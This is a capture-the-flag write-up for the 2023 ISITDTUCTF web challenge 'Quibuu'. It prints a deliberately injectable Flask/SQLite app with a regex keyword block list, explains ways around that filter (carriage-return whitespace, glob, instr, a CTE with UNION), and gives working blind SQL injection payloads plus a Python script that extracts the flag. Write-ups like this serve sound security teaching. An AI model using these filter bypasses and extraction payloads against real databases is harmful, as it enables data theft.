Post

2023 ISITDTUCTF - Quibuu

  • 30 solves / 127 points
  • Author: Discord onsra

Description

Hmmmmm, u are QuiBuu, right? xD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flask import Flask, render_template, request
import random
import re
import urllib.parse
import sqlite3

app = Flask(__name__)


def waf_cuc_chill(ans):
    # idk, I thought too much of a good thing
    ans = urllib.parse.quote(ans)
    pattern = re.compile(r'(and|0r|substring|subsrt|if|case|cast|like|>|<|(?:/\%2A.*?\%2A/)|\\|~|\+|-|when|then|order|name|url|;|--|into|limit|update|delete|drop|join|version|not|hex|load_extension|round|random|lower|replace|likely|iif|abs|char|unhex|unicode|trim|offset|count|upper|sqlite_version\(\)|#|true|false|max|\^|length|all|values|0x.*?|left|right|mid|%09|%0A|%20|\t)', re.IGNORECASE)
    
    if pattern.search(ans):
        return True
    return False

@app.route("/", methods=["GET"])
def index():
    ran = random.randint(1, 11)
    id, ans= request.args.get("id", default=f"{ran}"), request.args.get("ans", default="")

    if not (id and str(id).isdigit() and int(id) >= 1 and int(id) <= 1301):
        id = 1
    

    db = sqlite3.connect("hehe.db")
    cursor = db.execute(f"SELECT URL FROM QuiBuu WHERE ID = {id}")
    img = cursor.fetchone()[0]

    if waf_cuc_chill(ans):
        return render_template("hack.html")
    
    cursor = db.execute(f"SELECT * FROM QuiBuu where ID = {id} AND Name = '{ans}'")
    result = cursor.fetchall()

    check = 0
    if result != []:
        check = 1
    elif result == [] and ans != "" :
        check = 2

    return render_template("index.html", id=id, img=img, ans=ans, check=check)

if __name__ == "__main__":
    app.run()

Analyzation

Check around, the flag is in the database:

1
id = 1337, name=ISITDTU, URL = flag

So our target is sqli.

There are two sql queries:

1
2
3
db = sqlite3.connect("hehe.db")
cursor = db.execute(f"SELECT URL FROM QuiBuu WHERE ID = {id}")
img = cursor.fetchone()[0]

and

1
2
3
4
5
6
7
8
    cursor = db.execute(f"SELECT * FROM QuiBuu where ID = {id} AND Name = '{ans}'")
    result = cursor.fetchall()

    check = 0
    if result != []:
        check = 1
    elif result == [] and ans != "" :
        check = 2

The first sql query is useless

1
2
if not (id and str(id).isdigit() and int(id) >= 1 and int(id) <= 1301):
    id = 1

id will never reach 1337.

So the second query will be used, and to the ans variable. In this problem, error-based sqli works fine.

But we have to bypass waf first

1
2
if waf_cuc_chill(ans):
    return render_template("hack.html")

These are some vulnerabilities of waf

  • Two columns’ name in the database are blocked, name and url, but id. And the table name QuiBuu is not blocked, too.

  • Words of a query, like select, from, where, etc. are not blocked

  • It blocks all most white space, but \r.

  • The input string is not escaped.

  • like is blocked, but glob can be used instead.

  • substring() is blocked, but instr(). That’s the keypoint.

Exploitation

Firstly, my idea was

1
2
3
id = 10
ans = "Naruto' union select * from QuiBuu where url glob \'ISIT*"
ans = ans.replace(" ", "\r")

I tried to select url column with many ways. But it was not work.

The right answer is union with another table.

My final payload is

1
2
3
id = 10
ans = "Naruto' OR (WITH cte(c1,c2,c3) AS (SELECT * FROM QuiBuu) SELECT instr(c3,'{flag_guess}') FROM cte WHERE c1='1337') OR id='200000"
ans = ans.replace(" ", "\r")
  • If flag_guess is correct, the right statement of OR will be 1, and the query will return all data in tables.

Another payload using GROUP_CONCAT().

1
2
3
id = 10
ans = "a' OR (SELECT instr(( SELECT GROUP_CONCAT(\"pet\") FROM ( SELECT \"admin\", \"user\", \"pet\" UNION SELECT * FROM QuiBuu WHERE id=1337 ) ), \"{flag_guess}\"))/*"
ans = ans.replace(" ", "\r")

Now the third column is no longer url, but pet.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

ALPHABET = "_}" + string.ascii_lowercase + string.digits + string.ascii_uppercase
URL = "http://localhost:1301/?id={}&ans={}"

id = 10
ans = "Naruto' OR (WITH cte(c1,c2,c3) AS (SELECT * FROM QuiBuu) SELECT instr(c3,'{}') FROM cte WHERE c1='1337') OR id='200000"
ans = ans.replace(" ", "\r")

flag = "ISITDTU{"
while "}" not in flag:
    for c in ALPHABET:
        response = requests.get(URL.format(id, ans.format(flag + c)))
        if b"Haha QuiBuu" in response.content:
            flag = flag + c
            print(f"-----------flag_guess: {flag} ------------")
            break
print(URL.format(id, ans.format(flag + c)).encode())
This post is licensed under CC BY 4.0 by the author.